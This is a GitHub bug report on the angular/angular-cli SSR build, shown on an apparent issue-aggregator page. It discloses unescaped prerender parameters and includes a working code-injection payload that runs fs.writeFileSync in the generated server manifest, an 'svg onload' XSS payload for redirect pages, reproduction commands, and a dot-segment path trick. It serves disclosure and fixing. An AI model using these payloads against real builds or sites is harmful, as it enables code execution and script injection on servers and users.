Angular SSR Unescaped prerender parameters enable RCE through generated manifests and XSS in redirect pages
维护者通常 1 天内回复
评估
- 难度
- 4/5
- 预计耗时
- 3-5 天
- 新手友好度
- 53/100
- Issue 类型
- 缺陷
- 描述清晰度
- 描述清楚
- 活跃度
- 活跃
- 技术栈
- angular, typescript
- 领域
- build-system, security
调研方向
Start by reading manifest.ts and utils.ts, where the issue shows values entering generated JavaScript and redirect HTML; trace how ng-routes.ts substitutes parameters into redirect URLs. Reproduce both cases from the linked proof of concept and add or run focused checks for the generated manifest and redirect page. Done means parameter values cannot execute code or inject markup in either output.
由索引模型根据 Issue 内容生成。
描述
Command
build
Is this a regression?
- Yes, this behavior used to work in the previous version
The previous version in which this bug was not present was
No response
Description
ng build writes the values returned by getPrerenderParams() into two generated files without escaping them:
- the server manifest (
angular-app-manifest.mjs), executable ESM that the SSR server imports; - the static redirect pages generated when prerendering.
Those values are documented as application data, usually read from a service:
const ids = await dataService.getIds();
return ids.map((id) => ({ id }));
So whoever controls that data, such as a CMS entry or a shared or compromised API, controls code and HTML that the build ships. One value is enough:
Value returned by getPrerenderParams() |
Result |
|---|---|
x'(){},[(function(){…})()](){},[`](){(' |
Runs arbitrary code in the SSR server when the manifest is imported, on the first request of any kind. |
x"><svg onload=alert(1)> with outputMode: 'static' |
Injects markup into the generated redirect page: three <svg onload> elements per page. |
Server manifest. manifest.ts interpolates the asset path, which is derived from the route, into the generated module twice: as the object key and inside the import() specifier.
serverAssets[file.path] =
`{size: ${size}, hash: '${file.hash}', text: () => import('./${jsChunkFilePath}').then(m => m.default)}`;
// ...
.map(([key, value]) => `'${key}': ${value}`)
A lone ' breaks the module. A value that parses in both positions does more. It closes the key, runs as a computed method name, then opens a template literal that swallows the second, mangled copy:
'product/x'(){},[(function(){import('fs').then(function(f){f.writeFileSync('PWNED.txt','rce')})})()](){},[`](){('/index.html': {size: 975, hash: '5b338b119c4ac504', text: () => import('./assets-chunks/product_x'(){},[(function(){import('fs')_then(function(f){f_writeFileSync('PWNED_txt','rce')})})()](){},[`](){('_index_html.mjs').then(m => m.default)},
node --check passes, the build succeeds and the server boots. The code runs when Node first imports the manifest, which is the first request handled, whatever its status. A 404 runs it too. A few lines above, the same data reaches routes: through JSON.stringify(), where it is inert.
Redirect pages. utils.ts builds the page without escaping:
<meta http-equiv="refresh" content="0; url=${url}">
<pre>Redirecting to <a href="${url}">${url}</a></pre>
For a relative redirectTo under a parameterized parent, ng-routes.ts substitutes the value intourl, so the markup reaches all three positions. In a template, {{ slug }} escapes the very same value correctly.
Minimal Reproduction
Repository: https://github.com/SkyZeroZx/angular-cli-prerender-param-injection-poc.
There the values arrive over HTTP from the application's own API.
1. Code execution through the manifest (outputMode: 'server')
// app.routes.ts
export const routes: Routes = [{ path: 'product/:slug', component: App }];
// app.routes.server.ts
export const serverRoutes: ServerRoute[] = [
{
path: 'product/:slug',
renderMode: RenderMode.Prerender,
getPrerenderParams: async () => [
{
slug: "x'(){},[(function(){import('fs').then(function(f){f.writeFileSync('PWNED.txt','rce')})})()](){},[`](){('",
},
],
},
{ path: '**', renderMode: RenderMode.Prerender },
];
ng build
node --check dist/repro-app/server/angular-app-manifest.mjs
node dist/repro-app/server/server.mjs &
curl -s -o /dev/null -w '%{http_code}\n' http://localhost:4000/
ls PWNED.txt
Prerendered 1 static route.
Application bundle generation complete.
404
PWNED.txt
With slug: "customer's-choice" instead, the build is still green and every request returns 500.
2. HTML injection in the redirect page (outputMode: 'static')
// app.routes.ts
export const routes: Routes = [
{
path: 'go/:slug',
children: [
{ path: 'r', redirectTo: 'target' },
{ path: 'target', component: App },
],
},
];
// app.routes.server.ts
export const serverRoutes: ServerRoute[] = [
{
path: 'go/:slug',
renderMode: RenderMode.Prerender,
getPrerenderParams: async () => [{ slug: 'x"><svg onload=alert(1)>' }],
},
{ path: '**', renderMode: RenderMode.Prerender },
];
dist/repro-app/browser/go/x"><svg onload=alert(1)>/r/index.html:
<meta http-equiv="refresh" content="0; url=/go/x"><svg onload=alert(1)>/target">
...
<pre>Redirecting to <a href="/go/x"><svg onload=alert(1)>/target">/go/x"><svg onload=alert(1)>/target</a></pre>
On Windows, ", < and > are not valid in a file name. With a parent that only redirects, such as { path: 'go/:slug', children: [{ path: '', redirectTo: 'claimed', pathMatch: 'full' }] }, appending /../../safe to the value keeps the markup out of the file name but in the page. posix.join() collapses the dot segments for the output path, while joinUrlParts() keeps them in the target, so the page lands at go/safe/index.html and is served at /go/safe/.
Your Environment
Angular CLI 22.2.3
@angular/build 22.2.3
@angular/ssr 22.2.3
Node.js 24.16.0
npm 11.13.0
Windows 11 x64
WSL Ubuntu
Anything else relevant?
No response
- 主要语言
- TypeScript
- 星标
- 27k
- 派生
- 11.8k
- 平均合并
- 1 天 5 小时
- 30 天内合并 PR
- 240
环境准备
- 没有 Dockerfile 或 Docker Compose 文件
- 有 Pull Request 模板
- 阅读贡献指南
从这里开始
- 先读完整个 Issue,再读项目的贡献指南。
- 在 Issue 下留言说明你要接手 —— 这能避免两个人做同样的事。
- Fork 仓库,在一个分支上完成修改。
- 提交 Pull Request,并在描述里引用这个 Issue 编号。
angular/angular-cli 的其他 Issue
-
area: @angular/build gemini-triaged
难度 2/5 1-3 小时 新手友好度 74/100
angular/angular-cli#33955 ·
维护者通常 1 天内回复
-
area: @angular/cli gemini-triaged
难度 2/5 1-3 小时 新手友好度 72/100
angular/angular-cli#33055 · 1 条评论 · 3 个 reaction ·
维护者通常 1 天内回复
-
area: @angular/build
难度 4/5 3-5 天 新手友好度 48/100
angular/angular-cli#34515 · 3 个 reaction ·
维护者通常 1 天内回复
-
area: @angular/build
难度 4/5 3-5 天 新手友好度 55/100
angular/angular-cli#34514 · 2 个 reaction ·
维护者通常 1 天内回复
-
ssr: string redirectTo drops trailing slash in query and fragment可能已有人在做 @alan-agius4 今天认领。 未关闭area: @angular/ssr
难度 3/5 1-2 天 新手友好度 57/100
angular/angular-cli#34511 ·
维护者通常 1 天内回复
查看 angular/angular-cli 的全部 Issue
相似的 Issue
-
难度 2/5 1-3 小时 新手友好度 72/100
braintrustdata/braintrust-sdk-javascript#2659 ·
维护者通常 1 天内回复
-
body-parser 2.3.0 in the published ai-dial-chat-bff image is vulnerable (CVE-2026-111181, HIGH)可能已有人在做 @illya-havsiyevych 今天认领。 未关闭bug
难度 1/5 1-3 小时 新手友好度 87/100
epam/ai-dial-chat#9566 ·
维护者通常 1 天内回复
-
bug
难度 2/5 1-3 小时 新手友好度 83/100
维护者通常 1 天内回复
-
はさみアイコンを修正する未关闭bug
难度 1/5 1 小时以内 新手友好度 68/100
-
area: core
难度 2/5 1-3 小时 新手友好度 78/100
维护者通常 1 天内回复